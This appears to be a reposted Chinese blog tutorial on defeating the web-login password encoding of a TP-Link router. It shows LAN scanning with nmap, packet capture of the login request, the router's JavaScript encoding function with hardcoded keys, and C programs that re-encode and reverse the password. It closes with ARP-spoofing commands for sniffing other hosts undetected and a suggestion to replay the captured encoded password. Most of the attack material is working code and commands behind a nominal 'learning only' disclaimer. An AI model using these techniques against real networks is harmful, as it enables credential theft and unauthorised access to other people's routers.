探寻TP-Link路由器的登录验证

短命女 2021-12-23 08:15 736阅读 0赞

> **提示:该案例仅供学习使用，切勿滥用！！！**

### 查找路由器连接地址 ###

查找ip

$ ifconfig 
    enp2s0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
            inet 192.168.100.100  netmask 255.255.255.0  broadcast 192.168.100.255
            inet6 fe80::d4ed:7daa:b8d3:c4c8  prefixlen 64  scopeid 0x20<link>
            ether 88:d7:f6:d7:69:ff  txqueuelen 1000  (Ethernet)
            RX packets 266  bytes 28134 (27.4 KiB)
            RX errors 0  dropped 0  overruns 0  frame 0
            TX packets 437  bytes 50434 (49.2 KiB)
            TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
    
    lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
            inet 127.0.0.1  netmask 255.0.0.0
            inet6 ::1  prefixlen 128  scopeid 0x10<host>
            loop  txqueuelen 1000  (Local Loopback)
            RX packets 2532  bytes 146228 (142.8 KiB)
            RX errors 0  dropped 0  overruns 0  frame 0
            TX packets 2532  bytes 146228 (142.8 KiB)
            TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
    
    wlp3s0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
            inet 192.168.0.101  netmask 255.255.255.0  broadcast 192.168.0.255
            inet6 fe80::715:76a8:1fe8:cd16  prefixlen 64  scopeid 0x20<link>
            ether f0:03:8c:cd:38:df  txqueuelen 1000  (Ethernet)
            RX packets 11665  bytes 6505516 (6.2 MiB)
            RX errors 0  dropped 0  overruns 0  frame 0
            TX packets 12599  bytes 1817081 (1.7 MiB)
            TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

可以发现，无线是连接的192.168.0.101,用nmap扫描一下地址段

$ nmap 192.168.0.0/24
    Starting Nmap 7.70 ( https://nmap.org ) at 2019-04-06 10:31 CST
    Nmap scan report for 192.168.0.1
    Host is up (0.0036s latency).
    Not shown: 998 filtered ports
    PORT     STATE SERVICE
    80/tcp   open  http
    1900/tcp open  upnp
    
    Nmap scan report for 192.168.0.101
    Host is up (0.000064s latency).
    Not shown: 997 closed ports
    PORT    STATE SERVICE
    139/tcp open  netbios-ssn
    445/tcp open  microsoft-ds
    
    Nmap scan report for 192.168.0.102
    Host is up (0.034s latency).
    All 1000 scanned ports on 192.168.0.102 are closed
    
    Nmap scan report for 192.168.0.107
    Host is up (0.018s latency).
    All 1000 scanned ports on 192.168.0.107 are closed
    
    Nmap done: 256 IP addresses (4 hosts up) scanned in 23.75 seconds

通过上述发现，有开启Http 服务的地址仅仅只有192.168.0.1，测试后发现，果然是这个地址

![942709-20190406140244188-189003507.png][]

## ##

### 尝试输入密码，进行抓包，查看是否可以直接获取到 ###

密码输入123456

通过抓包发现，密码是被加密的，例如:

{
        "method":"do","login":{
        "password":"0KcgeXhc9TefbwK"}}

整段tcpdump

$ sudo tcpdump dst -i wlp3s0 host 192.168.0.1 -A -s 0 
    tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
    listening on wlp3s0, link-type EN10MB (Ethernet), capture size 262144 bytes
    10:41:30.386855 ARP, Reply 192.168.0.101 is-at f0:03:8c:cd:38:df (oui Unknown), length 28
    ............8....e...(......
    10:41:35.392411 IP 192.168.0.101.49544 > 192.168.0.1.domain: 37050+ PTR? 101.0.168.192.in-addr.arpa. (44)
    E..HtV@.@.D....e.......5.4l..............101.0.168.192.in-addr.arpa.....
    10:41:43.401175 IP 192.168.0.101.39825 > 192.168.0.1.domain: 37050+ PTR? 101.0.168.192.in-addr.arpa. (44)
    E..Hv.@.@.B_...e.......5.4...............101.0.168.192.in-addr.arpa.....
    10:41:51.409822 IP 192.168.0.101.33674 > 192.168.0.1.domain: 7850+ PTR? 1.0.168.192.in-addr.arpa. (42)
    E..F{N@.@.=....e.......5.2N..............1.0.168.192.in-addr.arpa.....
    10:41:54.510728 IP 192.168.0.101.57460 > 192.168.0.1.http: Flags [S], seq 2142999657, win 29200, options [mss 1460,sackOK,TS val 4211907350 ecr 0,nop,wscale 7], length 0
    E..<..@.@..2...e.....t.P...i......r..+.........
    ............
    10:41:54.510781 IP 192.168.0.101.57462 > 192.168.0.1.http: Flags [S], seq 4248366888, win 29200, options [mss 1460,sackOK,TS val 4211907350 ecr 0,nop,wscale 7], length 0
    E..<|.@.@.<s...e.....v.P.8.(......r............
    ............
    10:41:54.513031 IP 192.168.0.101.57460 > 192.168.0.1.http: Flags [.], ack 2934210160, win 229, options [nop,nop,TS val 4211907352 ecr 83817372], length 0
    E..4..@.@..9...e.....t.P...j..~p....C!.....
    ........
    10:41:54.513053 IP 192.168.0.101.57462 > 192.168.0.1.http: Flags [.], ack 3628871599, win 229, options [nop,nop,TS val 4211907352 ecr 83817372], length 0
    E..4|.@.@.<z...e.....v.P.8.).L/......;.....
    ........
    10:42:03.722970 IP 192.168.0.101.57504 > 192.168.0.1.http: Flags [S], seq 2247285204, win 29200, options [mss 1460,sackOK,TS val 4211916562 ecr 0,nop,wscale 7], length 0
    E..<Em@.@.s....e.......P..........r.Ya.........
    ............
    10:42:03.724543 IP 192.168.0.101.57504 > 192.168.0.1.http: Flags [.], ack 4178226170, win 229, options [nop,nop,TS val 4211916564 ecr 83817925], length 0
    E..4En@.@.s....e.......P.....
    ......Y}.....
    ........
    10:42:03.724789 IP 192.168.0.101.57504 > 192.168.0.1.http: Flags [P.], seq 0:514, ack 1, win 229, options [nop,nop,TS val 4211916564 ecr 83817925], length 514: HTTP: POST / HTTP/1.1
    E..6Eo@.@.q....e.......P.....
    .............
    ........POST / HTTP/1.1
    Host: 192.168.0.1
    Connection: keep-alive
    Content-Length: 54
    Accept: application/json, text/javascript, */*; q=0.01
    Origin: http://192.168.0.1
    X-Requested-With: XMLHttpRequest
    User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
    Content-Type: application/json; charset=UTF-8
    Referer: http://192.168.0.1/
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    
    {"method":"do","login":{"password":"0KcgeXhc9TefbwK"}}
    10:42:03.742580 IP 192.168.0.101.57504 > 192.168.0.1.http: Flags [.], ack 165, win 237, options [nop,nop,TS val 4211916582 ecr 83817926], length 0

### 查找路由器的加密算法  ###

通过搜索，自己探测，发现加密算法在class.js中:

![942709-20190406142002716-1919071564.png][]

其加密语句为:  
其中，密码为a

this.orgAuthPwd = function(a) {
        return this.securityEncode(a, "RDpbLfCPsJZ7fiv", "yLwVl0zKqws7LgKPRQ84Mdt708T1qQ3Ha7xv3H7NyU84p21BriUWBU43odz3iP4rBL3cD02KZciXTysVXiV8ngg6vL48rPJyAUw0HurW20xqxv9aYb4M9wK1Ae0wlro510qXeU07kV57fQMc8L6aLgMLwygtc0F10a0Dg70TOoouyFhdysuRMO51yY5ZlOZZLEal1h0t9YQW0Ko7oBwmCAHoic4HYbUyVeU3sfQ1xtXcPcf1aT303wAQhv66qzW")
    };
    this.securityEncode = function(a, c, b) {
        var d = "",
        e, f, g, h, k = 187,
        m = 187;
        f = a.length;
        g = c.length;
        h = b.length;
        e = f > g ? f: g;
        for (var l = 0; l < e; l++) m = k = 187,
        l >= f ? m = c.charCodeAt(l) : l >= g ? k = a.charCodeAt(l) : (k = a.charCodeAt(l), m = c.charCodeAt(l)),
        d += b.charAt((k ^ m) % h);
        return d
    };

### 将上述javascript改为用C语言实现加密以及解密 ###

#### 加密 ####

#include <stdio.h>
    #include <string.h>
    #include <stdlib.h>
    
    int main() {
    
        int L_PassWd  , L_Secret_Ket , L_Encrypted_string;
        
        // 待加密的字符串
        char PassWd[] = "123456";
    
        // 自己理解为秘钥和加密串
        char Secret_key[] = "RDpbLfCPsJZ7fiv";
        char Encrypted_string[] = "yLwVl0zKqws7LgKPRQ84Mdt708T1qQ3Ha7xv3H7NyU84p21BriUWBU43odz3iP4rBL3cD02KZciXTysVXiV8ngg6vL48rPJyAUw0HurW20xqxv9aYb4M9wK1Ae0wlro510qXeU07kV57fQMc8L6aLgMLwygtc0F10a0Dg70TOoouyFhdysuRMO51yY5ZlOZZLEal1h0t9YQW0Ko7oBwmCAHoic4HYbUyVeU3sfQ1xtXcPcf1aT303wAQhv66qzW";
    
        int k = 187 , m = 187;
    
    
        L_PassWd = strlen(PassWd);
        L_Secret_Ket = strlen(Secret_key);
        L_Encrypted_string = strlen(Encrypted_string);
    
        int e;
        e = L_PassWd  > L_Secret_Ket ? L_PassWd  : L_Secret_Ket;
    
        int l;
    
        for (l=0;l<e;l++) {
            m = k = 187;
    
            if ( l >= L_PassWd ) {
                m = Secret_key[l];
            } else {
                if ( l >= L_Secret_Ket ) {
                    k = PassWd[l];
                } else {
                    k = PassWd [l];
                    m = Secret_key[l];
                }
                
            }
    
            printf("%c" , (Encrypted_string[k ^ m] % L_Encrypted_string));
    
        }
    
        printf("\n");
    
        return 0;
    }

执行效果

$ gcc SecurityEncode.c 
    $ ./a.out 
    0KcgeXhc9TefbwK
    $

#### 解密(仅仅写了用户密码长度不大于秘钥长度的)，代码未优化 ####

#include <stdio.h>
    #include <string.h>
    #include <stdlib.h>
    
    int main() {
        // 加密后的字符串
        char Encryption_String[] = "0KcgeXhc9TefbwK";
    
        // 自己理解为秘钥和加密串
        char Secret_key[] = "RDpbLfCPsJZ7fiv";
        char Encrypted_string[] = "yLwVl0zKqws7LgKPRQ84Mdt708T1qQ3Ha7xv3H7NyU84p21BriUWBU43odz3iP4rBL3cD02KZciXTysVXiV8ngg6vL48rPJyAUw0HurW20xqxv9aYb4M9wK1Ae0wlro510qXeU07kV57fQMc8L6aLgMLwygtc0F10a0Dg70TOoouyFhdysuRMO51yY5ZlOZZLEal1h0t9YQW0Ko7oBwmCAHoic4HYbUyVeU3sfQ1xtXcPcf1aT303wAQhv66qzW";
        char a1;
    
        // 如果用户输入的登录密码长度小于等于秘钥长度，则按照秘钥来解析
        if (strlen(Encryption_String) == strlen(Secret_key)) {
            printf ("是根据秘钥来生成的加密后的密码\n");
    
            int l , j ;
            int isok = 0;
            for (l=0;l<strlen(Secret_key);l++) {
    
                isok = 0;
                for (j=0;j<strlen(Encrypted_string);j++) {
                    
                    if (Encrypted_string[j] == Encryption_String[l]) {
    
                        if ((j ^ Secret_key[l]) > 33 && (j ^ Secret_key[l]) < 126) {
                            printf ("%c " , j ^ Secret_key[l]);
                            isok = 1;
                        }
                    }
                }
                if (isok == 0 ) {
                    break;
                }
                printf ("\n第%d个值的密码计算完毕\n" , l+1);
                printf("\n");
            }
    
        // 如果用户输入的登录密码长度小于等于秘钥长度，则按照用户来解析
        } else {
            printf ("是根据用户自己的密码来生成的,改天再来");
        
        }
    
        return 0;
    }

执行效果

$ gcc DecryptCode.c
    $ ./a.out 
    是根据秘钥来生成的加密后的密码
    W J 1 ; ( 
    第1个值的密码计算完毕
    
    C J 2 
    第2个值的密码计算完毕
    
    3 9 
    第3个值的密码计算完毕
    
    o 7 4 
    第4个值的密码计算完毕
    
    5 
    第5个值的密码计算完毕
    
    - 6 
    第6个值的密码计算完毕
    
    $

### 总结 ###

默认情况下，tcpdump只能抓自己主机的数据包，要想实现在局域网内对其他机器进行抓包，则需要使用arp欺骗(不要被对方察觉了，不然干死你咋办)，使用方法:

开启转发
    $ sudo sysctl net.ipv4.ip_forward=1
    $ sudo sysctl -p
    截获数据包
    $ arpspoof -i eth1 -t host gw
    $ arpspoof -i eth1 -t gw host

换个角度想，假设我们已经有这个密码密文了，还需要将密文解析成明文么，我觉得没有必要，直接模拟http do请求就可以了吧

转载于:https://www.cnblogs.com/wang-li/p/10661662.html

[942709-20190406140244188-189003507.png]: /images/20211223/95afe20dd69b44be945e71fd842c73da.png
[942709-20190406142002716-1919071564.png]: /images/20211223/95f7750b644b432e9c35e0a272b01f3f.png